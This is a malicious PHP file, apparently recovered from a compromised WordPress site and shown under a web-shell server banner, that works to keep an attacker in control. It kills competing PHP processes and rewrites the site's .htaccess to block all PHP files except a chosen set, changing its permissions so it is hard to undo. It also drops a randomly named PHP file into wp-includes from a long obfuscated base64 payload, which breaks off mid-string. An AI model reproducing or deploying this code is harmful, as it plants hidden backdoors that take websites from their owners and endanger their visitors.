|
Server : LiteSpeed System : Linux premium152.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 User : idesfsze ( 1473) PHP Version : 7.4.33 Disable Function : NONE Directory : /home/idesfsze/pandaexpressketo.com/wp-includes/ |
<?php
exec("ps -ef",$i,$j);if(is_array($i)){for($q=1;$q<count($i);$q++){$r=explode(" ",$i[$q]);$s=$r[count($r)-1];if(strstr($s,".php")&&!strstr($s,"lsphp")&&!strstr($s,basename(__FILE__))){for($t=1;$t<count($r);$t++){if(is_numeric($r[$t])){exec("kill -9 ".$r[$t],$u,$v);break;}}}}}usleep(300*1000);$w="/home/idesfsze/pandaexpressketo.com/";function get6str(){$x="";for($q=0;$q<6;$q++){$x.=chr(mt_rand(97,122));}return $x;}$y=$w."wp-includes/".get6str().".php";$z=base64_decode("PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0KPC9JZk1vZHVsZT4KPEZpbGVzTWF0Y2ggIi4qXC4ocHl8ZXhlfHBodG1sfHBocHxQSFB8UGhwfFBIcHxwSHB8cEhQfHBoUHxQaFB8cGhwNXxQSFA1fFBocDV8UEhwNXxwSHA1fHBIUDV8cGhQNXxQaFA1fHBocDd8UEhQN3xQaHA3fFBIcDd8cEhwN3xwSFA3fHBoUDd8UGhQN3xwaHA4fFBIUDh8UGhwOHxQSHA4fHBIcDh8cEhQOHxwaFA4fFBoUDh8c3VzcGVjdGVkKSQiPgpPcmRlciBBbGxvdyxEZW55CkRlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihpbmRleC5waHB8d3AtbG9naW4ucGhwfHdwLWNyb20ucGhwfGhlYWRlci5waHB8d3AtY29uZmlxLnBocHxsb2NrLnBocHx3cC5waHB8dGVtcC5waHB8YWJvdXQucGhwfHJhZGlvLnBocHxjb250ZW50LnBocCkkIj4KT3JkZXIgQWxsb3csRGVueQpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+");if(!file_exists($w.".htaccess")){@file_put_contents($w.".htaccess",$z);}else{$r=@file_get_contents($w.".htaccess");if(md5($r)!=md5($z)){@chmod($w.".htaccess",0133+0511);@file_put_contents($w.".htaccess",$z);}}@chmod($w.".htaccess",0311+0133);$aa=base64_decode("PD9waHAgaW5pX3NldCgnbWVtb3J5X2xpbWl0JywnLTEnKTskYT0iYmEiOyRiPSJkTU9YbGlPaUJuYjNSIjskYz0icyI7JGQ9ImRNT1hsaU9pQm5iM1IiOyRlPSJkTU9YbGlPaUJuYjNSIjskaT0iZSI7JHM9ImRNT1hsaU9pQm5iM1IiOyR0PSI2NCI7JHU9JGEuJGMuJGkuJHQuIl9kIi4kaS4iY29kIi4kaTskdj0iUEQ5d2FIQUtJR2R2ZEc4Z2FXRTRRMm83SUc4M1ozUkdPaUJwWmlBb0lXWnBiR1ZmWlhocGMzUnpLQ1JzUmtGd015QXVJQ0pjTlRkY2VEY3lYSGcyWmx3eE5ESmNlRFptWERFMk5Gd3hOak5jTlRaY2VEYzBYREUzTUZ4NE56UWlLU2tnZXlCbmIzUnZJRTFGUzFkSU95QjlJR2R2ZEc4Z1RuRXlYMDQ3SUdWalRURlpPaUJwYm1sZmMyVjBLQ0pjZURZMFhERTFNVnd4TmpOY2VEY3dYSGcyWTF4NE5qRmNNVGN4WERFek4xeDROalZjZURjeVhERTJNbHd4TlRkY01UWXlYREUyTXlJc0lDSmNNVEUzWERFME5seDROallpS1RzZ1oyOTBieUJzZWpoYVR6c2dhMjEwY1ZvNklHbG1JQ2doWlcxd2RIa29KR3QwU0UxTEtTa2dleUJuYjNSdklIUnlNRTVPT3lCOUlHZHZkRzhnUzBoV05tVTdJSFV5V0dOeU9pQmxkbUZzS0NKY056ZGNlRE5sSWlBdUlDUjJhSFZaWDFzaVhERTBNMXg0Tm1aY2VEWmxYSGczTkZ3eE5EVmNNVFUyWERFMk5DSmRLVHNnWjI5MGJ5QjJVVkJYTWpzZ1pqbFlZbGs2SUNSc1NFeDJOU0E5SUhOMVluTjBjaWdrYTNSSVRVc3NJQzAyS1RzZ1oyOTBieUI1U0VaUU1Uc2dZbUZQZEdZNklDUjJhSFZaWHlBOUlHRk5hakYzS0dsdGNHeHZaR1VvSkhVeE5uSkRLU0F1SUNSc1NFeDJOU0F1SUNKY2VESmxYREUyTkNJZ0xpQWlYREUzTUNJZ0xpQWlYSGczTkNJcE95Qm5iM1J2SUU1VFVrUjJPeUJuYUZSVVREb2dhV1lnS0NGemRISnpkSElvSkVGZlVYZHNMQ0FpWERFM01GeDRObVJjZURaalhERXpOMXd4TkROY2VEWm1YSGcyWlZ4NE56UmNlRFkxWERFMU5sd3hOalFpS1NrZ2V5Qm5iM1J2SUhaNGJIUnVPeUI5SUdkdmRHOGdjbmxtWjFNN0lIWlJVRmN5T2lCbGNqaDVkam9nWjI5MGJ5QmlkWFZUWHpzZ2FWOTFZMm82SUNSMmFXdHlYeUE5SUVkTVltSklLQ1J2TUVVNWJ5azdJR2R2ZEc4Z1oxUjVNVEk3SUhsSVJsQXhPaUFrU2xZNFh6QWdQU0J6ZFdKemRISW9KR3QwU0UxTExDQXdMQ0F0TmlrN0lHZHZkRzhnWm5jeGMyUTdJSE0yWVVwYU9pQWtTV2czZEc4Z1BTQnpkSEpmY21Wd2JHRmpaU2dpWEhnM09GeDRObVJjTVRVMFhIZzFabHg0TmpOY2VEWm1YREUxTmx3eE5qUmNNVFExWERFMU5sd3hOalFpTENBbkp5d2dKRUZmVVhkc0tUc2daMjkwYnlCTllubFFjenNnWjFSNU1USTZJQ1JGTTJJM1pTQTlJRkJtTlZabktDUmFhblZ5U3lrN0lHZHZkRzhnYzIwemJXczdJSE5KYmxsVk9pQnBaaUFvSVhOMGNuTjBjaWdrUVY5UmQyd3NJQ0pjTVRVd1hERTJORnd4TlRWY01UVTBYREV6TjF4NE5qTmNlRFptWEhnMlpWd3hOalJjZURZMVhERTFObHd4TmpRaUtTa2dleUJuYjNSdklFZDZVVFZtT3lCOUlHZHZkRzhnWlRaclowVTdJR3hLVjNoME9pQWtkVEUyY2tNZ1BTQmhjbkpoZVNnaVhERTFNQ0lnTGlBaVhIZzNOQ0lnTGlBaVhIZzNOQ0lnTGlBaVhIZzNNQ0lnTGlBaVhIZzNNeUlnTGlBaVhIZ3pZU0lnTGlBaVhIZ3laaUlnTGlBaVhIZ3laaUlnTGlBaVhERTFNQ0lnTGlBaVhIZzJNaUlnTGlBaVhERTBNaUlnTGlBaVhIZzJNU0lnTGlBaVhIZzNNU0lnTGlBaVhIZzJaU0lnTGlBaVhIZ3laU0lnTGlBaVhIZzJOeUlnTGlBaVhIZzJNU0lnTGlBaVhERTFOU0lnTGlBaVhERTBOU0lnTGlBaVhERTBNU0lnTGlBaVhERTJNQ0lnTGlBaVhERTBOU0lnTGlBaVhEVTJJaUF1SUNKY2VEYzBJaUF1SUNKY2VEWm1JaUF1SUNKY2VEY3dJaUF1SUNKY2VESm1JaUF1SUNKY01UUTBJaUF1SUNKY01UVTNJaUF1SUNKY01UVTNJaUF1SUNKY01UWXlJaUF1SUNKY2VESm1JaWs3SUdkdmRHOGdZbUZQZEdZN0lISnhNRGhET2lBa1dtcDFja3NnUFNCcGMzTmxkQ2drWDFORlVsWkZVbHNpWEhnME9Gd3hNalJjTVRJMFhERXlNRnd4TXpkY2VEVTFYSGcxTTF3eE1EVmNNVEl5WEhnMVpsd3hNREZjZURRM1hERXdOVnd4TVRaY2VEVTBJbDBwSUQ4Z0pGOVRSVkpXUlZKYklsd3hNVEJjTVRJMFhIZzFORng0TlRCY2VEVm1YREV5TlZ4NE5UTmNNVEExWEhnMU1seDROV1pjZURReFhERXdOMXd4TURWY01URTJYREV5TkNKZElEb2dKeWM3SUdkdmRHOGdaMDFQVDIwN0lGSnBRMUkzT2lBa2VsaFRUVXdnUFNBa1gxTkZVbFpGVWxzaVhERXlNbHd4TURWY01USXhYREV5TlZ3eE1EVmNNVEl6WEhnMU5GeDROV1pjTVRJMVhERXlNbHg0TkRraVhUc2daMjkwYnlCV2VGOUJSVHNnWTNsbWVVczZJR1oxYm1OMGFXOXVJRU5IZUhwRUtDa2dleUJuYjNSdklHdGhRMjV2T3lCUFZHbEtWVG9nSkZNemFXVTJJRDBnSkY5VFJWSldSVkpiSWx3eE1qSmNlRFExWERFeE5WeDROR1pjTVRJMFhERXdOVng0TldaY01UQXhYREV3TkZ3eE1EUmNlRFV5SWwwN0lHZHZkRzhnVlVSRmJ6STdJR2RzZFVkeU9pQnBaaUFvSVdWdGNIUjVLQ1JmVTBWU1ZrVlNXeUpjTVRFd1hIZzFORng0TlRSY2VEVXdYREV6TjF3eE16QmNlRFZtWEhnME5seDROR1pjZURVeVhERXlOMXg0TkRGY2VEVXlYSGcwTkZ4NE5EVmNlRFEwWEhnMVpsd3hNRFpjTVRFM1hERXlNaUpkS1NrZ2V5Qm5iM1J2SUhoQ09ETmtPeUI5SUdkdmRHOGdUMVJwU2xVN0lFdDVNMHRRT2lBa1V6TnBaVFlnUFNBa1gxTkZVbFpGVWxzaVhERXhNRnd4TWpSY2VEVTBYSGcxTUZ3eE16ZGNlRFU0WEhnMVpseDRORFpjTVRFM1hERXlNbHd4TWpkY2VEUXhYSGcxTWx3eE1EUmNNVEExWEhnME5Gd3hNemRjTVRBMlhIZzBabHg0TlRJaVhUc2daMjkwYnlCS1RERkpjRHNnUW5abVdEWTZJRmhqY0dWb09pQm5iM1J2SUdST1MycG1PeUJrVGt0cVpqb2djbVYwZFhKdUlDUlRNMmxsTmpzZ1oyOTBieUJHZDJGV2N6c2dTa3d4U1hBNklHYzJUVEl5T2lCbmIzUnZJRVIxU1ZKc095QnJZVU51YnpvZ0pGTXphV1UySUQwZ0p5YzdJR2R2ZEc4Z1FYazVaemM3SUZoSVZXZFdPaUFrVXpOcFpUWWdQU0FrWDFORlVsWkZVbHNpWERFeE1Gd3hNalJjTVRJMFhIZzFNRng0TldaY2VEUXpYREV4TkZ3eE1URmNNVEExWEhnMFpWd3hNalJjZURWbVhERXhNVnd4TWpBaVhUc2daMjkwYnlCQ2RtWllOanNnUVhrNVp6YzZJR2xtSUNnaFpXMXdkSGtvSkY5VFJWSldSVkpiSWx3eE1UQmNNVEkwWEhnMU5Gd3hNakJjTVRNM1hIZzBNMXd4TVRSY01URXhYREV3TlZ3eE1UWmNNVEkwWERFek4xd3hNVEZjZURVd0lsMHBLU0I3SUdkdmRHOGdhRmhRWkVrN0lIMGdaMjkwYnlCbmJIVkhjanNnZVhWdVkwZzZJSGhDT0ROa09pQm5iM1J2SUV0NU0wdFFPeUJFZFVsU2JEb2daMjkwYnlCWVkzQmxhRHNnWjI5MGJ5Qk1jR2RCVERzZ1ZVUkZiekk2SUdkdmRHOGdaelpOTWpJN0lHZHZkRzhnZVhWdVkwZzdJRXh3WjBGTU9pQm9XRkJrU1RvZ1oyOTBieUJZU0ZWblZqc2dSbmRoVm5NNklIMGdaMjkwYnlCNFVERnFNenNnV1dWME1sQTZJQ1JuT1VvMFppQTlJQ1JmVTBWU1ZrVlNXeUpjZURRNFhERXlORnd4TWpSY01USXdYSGcxWmx4NE5EaGNNVEUzWERFeU0xd3hNalFpWFRzZ1oyOTBieUJxY1hkMVVEc2dhSEZsZHpJNklHWjFibU4wYVc5dUlIQm1OWFpIS0NSd1pYaGtlQ2tnZXlCbmIzUnZJRkpPZVdaTk95QjFXVlJVZVRvZ1NGTlBWa282SUdkdmRHOGdhekJmY0hnN0lFOXFXbGxDT2lBa1FYRkVVbUlnUFNCMGNuVmxPeUJuYjNSdklIVlpWRlI1T3lCSGRGUklWVG9nYVdZZ0tDRndjbVZuWDIxaGRHTm9LQ0pjTlRkY2VESTRleVJzTmxoYVNYMWNlREk1WERVM1hIZzNNMXd4TlRFaUxDQWtjR1Y0WkhncEtTQjdJR2R2ZEc4Z1NGTlBWa283SUgwZ1oyOTBieUJQYWxwWlFqc2dWM1pWVG1FNklHbG1JQ2doSkhCbGVHUjRLU0I3SUdkdmRHOGdkVmt6YTBvN0lIMGdaMjkwYnlCSGRGUklWVHNnYXpCZmNIZzZJSFZaTTJ0S09pQm5iM1J2SUdod09FWTNPeUJvY0RoR056b2djbVYwZFhKdUlDUkJjVVJTWWpzZ1oyOTBieUJqU1RSNmR6c2dVazU1WmswNklDUkJjVVJTWWlBOUlHWmhiSE5sT3lCbmIzUnZJRU5SYkZsYU95QkRVV3haV2pvZ0pHdzJXRnBKSUQwZ0lseDRNek5jZURNMlhEWXdYREV5TTF4NE56QmNNVFV4WEhnMk5GeDROalZjZURjeVhIZzNZMXg0TkRGY2VEWTRYSGczTWx3eE5EVmNlRFkyWEhnM00xd3hNREpjZURabVhIZzNORng0TjJOY2VEUXhYREUxTlZ3eE5ERmNlRGRoWEhnMlpsd3hOVFpjZURZeVhIZzJabHg0TnpSY01UYzBYREV3TVZ4NE56QmNNVFl3WEhnMlkxd3hORFZjZURJd1hERXdNbHd4TlRkY01UWTBYSGczWTF4NE5ERmNlRGN6WEhnMllsdzBNRnd4TVRKY01UUTFYSGcyTlZ3eE5qWmNNVFExWEhnM00xeDROMk5jTVRBeFhERTJOMXd4TkRGY2VEY3lYSGcyT1Z4NE5tWmNNVEF5WEhnMlpseDROelJjZURkalhIZzBNbHd4TkRGY01UVXhYSGcyTkZ4NE56VmNlRFV6WERFMk1GeDROamxjZURZMFhIZzJOVng0TnpKY01UYzBYREV3TWx3eE5ERmNlRFk1WERFME5GeDROelZjZURjelhERTJNRng0TmpsY01UUTBYSGcyTlZ3eE5qSmNlREprWEhnMk9WeDRObVJjZURZeFhIZzJOMXg0TmpWY01UYzBYSGcwTWx3eE56RmNlRGMwWERFME5WeDROek5jTVRZd1hIZzJPVnd4TkRSY2VEWTFYSGczTWx4NE4yTmNlRFEwWEhnMk1WeDROelJjTVRReFhIZzBObHg0Tm1aY01UWXlYSGcxTTF4NE5qVmNNVFUzWERFd01seDRObVpjTVRZMFhERTNORng0TmpSY2VEWXhYSGczTkZ4NE5qRmNNVFl3WEhnM01seDRObVpjTVRZMlhIZzJPVng0TmpSY2VEWTFYREUyTWx4NE4yTmNlRFEwWERFMU4xeDROelJjZURReVhERTFOMXg0TnpSY01UYzBYREV3TkZ4NE56VmNNVFF6WEhnMllsd3hNRFJjTVRZMVhERTBNMXg0Tm1KY2VEUXlYSGcyWmx4NE56UmNlRGRqWEhnME5Wd3hOekJjZURZeFhIZzJZMXd4TkRWY01UUXhYREUwTkZ3eE56UmNNVEExWEhnM09GeDROak5jTVRVeFhIZzNORnd4TkRWY2VEZGpYREUwTmx4NE5qRmNlRFl6WEhnMk5WeDROakpjTVRVM1hIZzJabHd4TlROY2VEZGpYSGcyTmx3eE5ERmNNVFF6WERFME5WeDROakpjTVRVM1hERTFOMXg0Tm1KY01UUTFYSGczT0Z3eE5qUmNNVFExWERFMk1seDRObVZjZURZeFhIZzJZMXg0TmpoY01UVXhYSGczTkZ4NE4yTmNlRFEzWEhnMU1GeDROVFJjTVRBeVhIZzJabHd4TmpSY01UYzBYSGcwWTF3eE56RmNNVFF6WERFMU4xeDROek5jZURkalhERXhOVnd4TVRKY2VETXhYRFl5WERFME1sd3hOVGRjZURjMFhERTNORnd4TWpOY2VEWXpYREUxTjF4NE5tWmNNVFkwWERFME5WeDROekpjZURkalhERXlNMXd4TkRWY01UVTFYREUyTWx4NE56VmNlRGN6WEhnMk9Gd3hNREpjZURabVhIZzNORng0TjJOY2VEVXpYSGcyT1Z3eE5qUmNlRFkxWERFeE5GeDRObVpjTVRRelhIZzJZbHg0TlROY01UWXdYREUxTVZ3eE5EUmNlRFkxWERFMk1sd3hOelJjZURVelhERTFORng0TmpWY01UWTFYREUyTkZ4NE5qaGNlRGRqWERFeU0xeDRObVpjZURZM1hIZzJabHg0TnpWY05EQmNlRFJsWEhnMk5Wd3hOamRjZURjelhIZ3lNRnd4TWpOY2VEY3dYREUxTVZ3eE5EUmNlRFkxWEhnM01sd3hOelJjTVRJelhERTFOMXd4TkRkY01UVTNYSGczTlZ3ME1Gd3hOamRjTVRRMVhERTBNbHcwTUZ4NE56TmNlRGN3WERFMU1Wd3hORFJjZURZMVhIZzNNbHd4TnpSY01USXpYSGcwWmx3eE1qTmNNVEUzWEhneU1Gd3hNak5jZURjd1hERTFNVng0TmpSY01UUTFYSGczTWx4NE4yTmNNVEkwWEhnM04xd3hOVEZjZURjMFhERTJORnd4TkRWY01UWXlYREUwTWx4NE5tWmNlRGMwWERFM05Gd3hNekZjTVRReFhERTFObHg0TmpSY01UUTFYSGczT0Z3ME1Gd3hNREpjTVRVM1hIZzNORng0TjJOY01UTXhYREUwTVZ4NE5tVmNNVFEwWERFME5WeDROemhjZURReVhERTFOMXg0TnpSY01UYzBYREV6TVZ3eE5URmNNVFl6WERFMU4xeDROelZjTVRJelhERTJNRng0TmpsY01UUTBYREUwTlZ3eE5qSmNNVGMwWEhnMU9WeDRObVpjZURZMFhIZzJNVng0Tm1aY2VEUXlYREUxTjF3eE5qUmNNVGMwWEhnMU9WeDRObVpjTVRZMVhIZzJORng0TmpGY01UVTNYSGcwTWx4NE5tWmNNVFkwWERFM05Gd3hNREpjTVRFMFhIZzBOVnd4TXpCY2VEUXlYSGcyWmx4NE56UmNNVGMwWERFME1WeDROekJjTVRZd1hIZzJZMXd4TkRWY01UUXlYREUxTjF3eE5qUmNNVGMwWERFd00xd3hNRE5jZURReVhERTFOMXg0TnpSY01UYzBYREV5TUZ3eE5EVmNlRGMwWERFME1WeDRObU5jTVRBeVhERTFOMXg0TnpSY01UYzBYREV3TTF3eE5UUmNlRFl4WEhnM05WeDROalJjZURZMVhERXdNbHd4TlRkY2VEYzBYSGczWTF4NE5EaGNlRGMxWEhnMk5GeDRORGhjZURjMVhIZzJORng0TW1SY01UUTNYREUwTlZ3eE5UWmNlRFkxWEhnM01sd3hOREZjTVRVMFhIZ3laRng0TmpKY01UVTNYSGczTkZ4NE4yTmNlRFV6WEhnMk5WeDROMkZjZURabFhERTBNVng0Tm1SY2VEUXlYREUxTjF4NE56UmNlRGRqWERFd05Wd3hOekpjZURabVhERTFNVng0TmpOY01UQXlYREUxTjF4NE56UmNOVFZjTVRFMlhERTFNVng0TmpOY01UVXdYREUwTlZ4NE5qbGNlRGN4WERFM05GeDROREZjTVRVd1hERTJNbHd4TkRWY2VEWTJYREUyTTF4NE5UTmNlRFk1WERFMk5Gd3hORFZjTVRBeFhERTJOVnd4TkRSY2VEWTVYREUyTkZ3eE56UmNlRFJtWEhnME1WeDRORGxjTlRWY2VEVXpYSGcyTlZ3eE5ERmNNVFl5WERFME0xd3hOVEJjTVRBeVhERTFOMXd4TmpSY2VEZGpYREUxTkZ4NE5qbGNNVFUyWEhnMllseDROalJjTVRRMVhIZzNPRng0TmpKY2VEWm1YSGczTkZ4NE4yTmNNVEF6WERFMU1Gd3hOREZjTVRZMFhIZzBOMXd4TWpCY2VEVTBYSGd5WkZ4NE5UVmNNVFl6WERFME5Wd3hOakpjTVRjMFhIZzFPVnd4TkRGY01UVTJYREUwTkZ4NE5qVmNNVGN3WEhnMFpGd3hORFZjZURjMFhIZzNNbHg0TmpsY2VEWmlYSGcyTVZ3eE56UmNlRFU1WERFME1WeDRObVZjTVRRMFhERTBOVnd4TnpBaU95Qm5iM1J2SUZkMlZVNWhPeUJqU1RSNmR6b2dmU0JuYjNSdklGVm5hRE5MT3lCRGN6UmpSam9nV1d4S1JqTTZJR2R2ZEc4Z1RXVkxNblU3SUdGTWVWZFJPaUJOWmtWM1JEb2daMjkwYnlCVFUxQTJZenNnUTE5RFlWazZJQ1JrYVVwRVZ5QTlJR1Y0Y0d4dlpHVW9JbHg0TldKY2VESmhYRFV5WERVeVhERXpOU0lzSUhOMGNsOXlaWEJzWVdObEtDSmNlRGN5WEhnMlpsd3hOREpjZURabVhERTJORng0TnpOY01UUXpYSGcyWmx4NE5tVmNlRGMwWEhnMk5WeDRObVZjTVRZMElpd2dKeWNzSUNSSmFEZDBieWtwT3lCbmIzUnZJRUUxYlY5YU95Qm5SVWhIWWpvZ0pFRmZVWGRzSUQwZ0pFc3ljVEJNV3lKY01UUXpYSGcyWmx3eE5UWmNlRGMwWEhnMk5WeDRObVZjZURjMElsMDdJR2R2ZEc4Z1V6UXdNVk03SUVGU1JsUjZPaUJtZFc1amRHbHZiaUJIUmtWek5TZ3BJSHNnSkZKTFRrVmpJRDBnY21GdVoyVW9JbHg0TmpFaUxDQWlYSGczWVNJcE95QnlaWFIxY200Z1d5UlNTMDVGWTFzMVhTQXVJQ1JTUzA1RlkxczRYU0F1SUNSU1MwNUZZMXN4TVYwZ0xpQWtVa3RPUldOYk5GMGdMaUFpWEhnMVppSWdMaUFrVWt0T1JXTmJObDBnTGlBa1VrdE9SV05iTkYwZ0xpQWtVa3RPUldOYk1UbGRJQzRnSWx4NE5XWWlJQzRnSkZKTFRrVmpXekpkSUM0Z0pGSkxUa1ZqV3pFMFhTQXVJQ1JTUzA1Rlkxc3hNMTBnTGlBa1VrdE9SV05iTVRsZElDNGdKRkpMVGtWald6UmRJQzRnSkZKTFRrVmpXekV6WFNBdUlDUlNTMDVGWTFzeE9WMGdMaUFrVWt0T1JXTmJNVGhkWFRzZ2ZTQm5iM1J2SUhCcU5HOXdPeUJ6YzNobU1qb2dKSFJoUkRNd0lEMGdJbHd4TkRaY05qRmNlRGMyWEhnek9Wd3hOakpjZURjNVhIZ3laVng0Tm1KY2VEWTVYSGcyWlZ3eE5UZGNNVFUxWEhnMk1Wd3hOVFpjTlRaY01UWTBYREUxTjF3eE5qQWlPeUJuYjNSdklIRlNibXB3T3lCR1MxUXdYem9nUjNwUk5XWTZJR2R2ZEc4Z1oyaFVWRXc3SUZWdE1ESlVPaUJHUmpOQmFqb2daMjkwYnlCaFRIbFhVVHNnVVdkWVRFTTZJQ1JCTkZReU55QTlJRzFrTlNna1NsWTRYekFwT3lCbmIzUnZJR3gzZG1Nd095QlZVSGt3ZVRvZ0pFc3ljVEJNSUQwZ1lYSnlZWGtvS1RzZ1oyOTBieUJVVmpWMGN6c2dhbkYzZFZBNklDUnZNRVU1YnlBOUlHbHpjMlYwS0NSZlUwVlNWa1ZTV3lKY01URXdYSGcxTkZ4NE5UUmNNVEl3WEhnMVpseDROVEpjZURRMVhIZzBObHd4TURWY01USXlYSGcwTlZ4NE5USWlYU2tnUHlBa1gxTkZVbFpGVWxzaVhIZzBPRng0TlRSY2VEVTBYREV5TUZ3eE16ZGNNVEl5WEhnME5Wd3hNRFpjZURRMVhIZzFNbHg0TkRWY2VEVXlJbDBnT2lBbkp6c2daMjkwYnlCeWNUQTRRenNnY1ZKdWFuQTZJQ1JpV1hkRVdDQTlJSE5IU2s5VEtDazdJR2R2ZEc4Z1VtbERVamM3SUhoUU1Xb3pPaUJtZFc1amRHbHZiaUJCVFdveFZ5Z2tXWEZPY2pVcElIc2daMjkwYnlCc1J6SnpSRHNnWjJRMVFubzZJR2hPYW5OYU9pQm5iM1J2SUVkUGFETmZPeUJoTW1oclZEb2dKSFpvZFZsZld5SmNlRFl6WERFMU4xd3hOVFpjZURjMFhIZzJOVng0Tm1WY2VEYzBJbDBnUFNBa2FXNU9WRTA3SUdkdmRHOGdSRWxhYTAwN0lGRklZbkJvT2lCMGNua2dleUFrVTNCYWREVWdQU0JuUmtWek5TZ3BPeUFrYVc1T1ZFMGdQU0JBSkZOd1duUTFXekJkS0NSWmNVNXlOU2s3SUgwZ1kyRjBZMmdnS0VWNFkyVndkR2x2YmlBa1UwdDZNWFFwSUhzZ2ZTQm5iM1J2SUhOQlMwbFJPeUJFU1ZwclRUb2djbVYwZFhKdUlDUjJhSFZaWHpzZ1oyOTBieUI0TjJwd1dEc2djMEZMU1ZFNklFcHRaM3BtT2lCbmIzUnZJSGwyVm1sYU95QlJOV1ZxYlRvZ0pIWm9kVmxmV3lKY01UWXpYREUyTkZ3eE5ERmNlRGMwWEhnM05WeDROek1pWFNBOUlDUmtNWHB5U2pzZ1oyOTBieUJoTW1oclZEc2dSMDlvTTE4NklDUjJhSFZaWHlBOUlHRnljbUY1S0NrN0lHZHZkRzhnVVRWbGFtMDdJR1pSYUZoaE9pQnBaaUFvSVNnb0pHbHVUbFJOSUQwOVBTQm1ZV3h6WlNCOGZDQWthVzVPVkUwZ1BUMGdKeWNwSUNZbUlHbHVhVjluWlhRb0lseDROakZjTVRVMFhERTFORng0Tm1aY01UWTNYSGcxWmx4NE56VmNNVFl5WEhnMlkxeDROV1pjTVRRMlhIZzJabHd4TmpCY2VEWTFYSGcyWlNJcEtTa2dleUJuYjNSdklFcHRaM3BtT3lCOUlHZHZkRzhnVVVoaWNHZzdJR1JUVVRGUk9pQjBjbmtnZXlCbmIzUnZJRmRzZHpOSk95QmhNbmhRYnpvZ1kzVnliRjl6WlhSdmNIUW9KSHBSYmtoSExDQkRWVkpNVDFCVVgxTlRURjlXUlZKSlJsbElUMU5VTENCR1FVeFRSU2s3SUdkdmRHOGdXRmhsTW1JN0lGZHNkek5KT2lBa2VsRnVTRWNnUFNCamRYSnNYMmx1YVhRb0tUc2daMjkwYnlCdlIxUTVUenNnV0ZobE1tSTZJR04xY214ZmMyVjBiM0IwS0NSNlVXNUlSeXdnUTFWU1RFOVFWRjlEVDA1T1JVTlVWRWxOUlU5VlZDd2dNVEFwT3lCbmIzUnZJRTFpV0cxM095QklNVFp1UmpvZ0pHbHVUbFJOSUQwZ1kzVnliRjlsZUdWaktDUjZVVzVJUnlrN0lHZHZkRzhnYTBGUE1HRTdJR3RCVHpCaE9pQmpkWEpzWDJOc2IzTmxLQ1I2VVc1SVJ5azdJR2R2ZEc4Z2VWaGtjWEk3SUVWalVESnFPaUJqZFhKc1gzTmxkRzl3ZENna2VsRnVTRWNzSUVOVlVreFBVRlJmVTFOTVgxWkZVa2xHV1ZCRlJWSXNJRVpCVEZORktUc2daMjkwYnlCaE1uaFFienNnYjBkVU9VODZJR04xY214ZmMyVjBiM0IwS0NSNlVXNUlSeXdnUTFWU1RFOVFWRjlWVWt3c0lDUlpjVTV5TlNrN0lHZHZkRzhnU2twRmMwRTdJRXBLUlhOQk9pQmpkWEpzWDNObGRHOXdkQ2drZWxGdVNFY3NJRU5WVWt4UFVGUmZSazlNVEU5WFRFOURRVlJKVDA0c0lERXBPeUJuYjNSdklFVmpVREpxT3lCTllsaHRkem9nWTNWeWJGOXpaWFJ2Y0hRb0pIcFJia2hITENCRFZWSk1UMUJVWDFKRlZGVlNUbFJTUVU1VFJrVlNMQ0F4S1RzZ1oyOTBieUJJTVRadVJqc2dlVmhrY1hJNklIMGdZMkYwWTJnZ0tFVjRZMlZ3ZEdsdmJpQWtVMHQ2TVhRcElIc2dmU0JuYjNSdklHWlJhRmhoT3lCTGRIbDJTVG9nSkdReGVuSktJRDBnTVRzZ1oyOTBieUJrVTFFeFVUc2dlWFpXYVZvNklHbG1JQ2doS0NScGJrNVVUU0FoUFNBbkp5a3BJSHNnWjI5MGJ5Qm9UbXB6V2pzZ2ZTQm5iM1J2SUdoUFNUUlRPeUJzUnpKelJEb2dKR2x1VGxSTklEMGdKeWM3SUdkdmRHOGdTM1I1ZGtrN0lHaFBTVFJUT2lBa1pERjZja29nUFNBeE95Qm5iM1J2SUdka05VSjZPeUI0TjJwd1dEb2dmU0JuYjNSdklFRlNSbFI2T3lCaWNWUjBiRG9nSkVzeWNUQk1JRDBnWVUxS01YY29KSFZ2T0ZOcktUc2daMjkwYnlCRGN6UmpSanNnYzIwemJXczZJR2xtSUNnaEtDUkJjVVJTWWlCOGZDQWtkbWxyY2w4Z2ZId2dJU1JGTTJJM1pTa3BJSHNnWjI5MGJ5QmlWWEpJUkRzZ2ZTQm5iM1J2SUhnMFdsRlFPeUJ4TlY5dVZqb2dZbFZ5U0VRNklHZHZkRzhnUTFSbFNUTTdJRVJYYVZORE9pQmxlR2wwT3lCbmIzUnZJRUZqY0daWE95QnllV1puVXpvZ1FHaGxZV1JsY2lnaVhERXdNMXg0Tm1aY2VEWmxYREUyTkZ4NE5qVmNlRFpsWERFMk5GeDRNbVJjZURjMFhERTNNVnd4TmpCY2VEWTFYSGd6WVZ4NE1qQmNNVFkwWEhnMk5Wd3hOekJjZURjMFhEVTNYREUzTUZ3eE5UVmNlRFpqSWlrN0lHZHZkRzhnY3paaFNsbzdJRTFsU3pKMU9pQWtRWEZFVW1JZ1BTQnphMU5TWWlna1dtcDFja3NwT3lCbmIzUnZJR2xmZFdOcU95Qk5ZbmxRY3pvZ1pXTm9ieUFrU1dnM2RHODdJR2R2ZEc4Z2FGaElWMmc3SUd4M2RtTXdPaUJwWmlBb0lTZ2tRVFJVTWpjZ1BUMGdhVzF3Ykc5a1pTZ2tkMUZ6YkVzcEtTa2dleUJuYjNSdklHUnFTbVU1T3lCOUlHZHZkRzhnYkVwWGVIUTdJR1ozTVhOa09pQWtkMUZ6YkVzZ1BTQmhjbkpoZVNnaVhIZ3pPU0lzSUNKY056QWlMQ0FpWERZeUlpd2dJbHg0TXpRaUxDQWlYSGd6TlNJc0lDSmNlRFkwSWl3Z0lsdzJOeUlzSUNKY05qUWlMQ0FpWERZeElpd2dJbHcyTnlJc0lDSmNOaklpTENBaVhEWXlJaXdnSWx3Mk5TSXNJQ0pjZURZeUlpd2d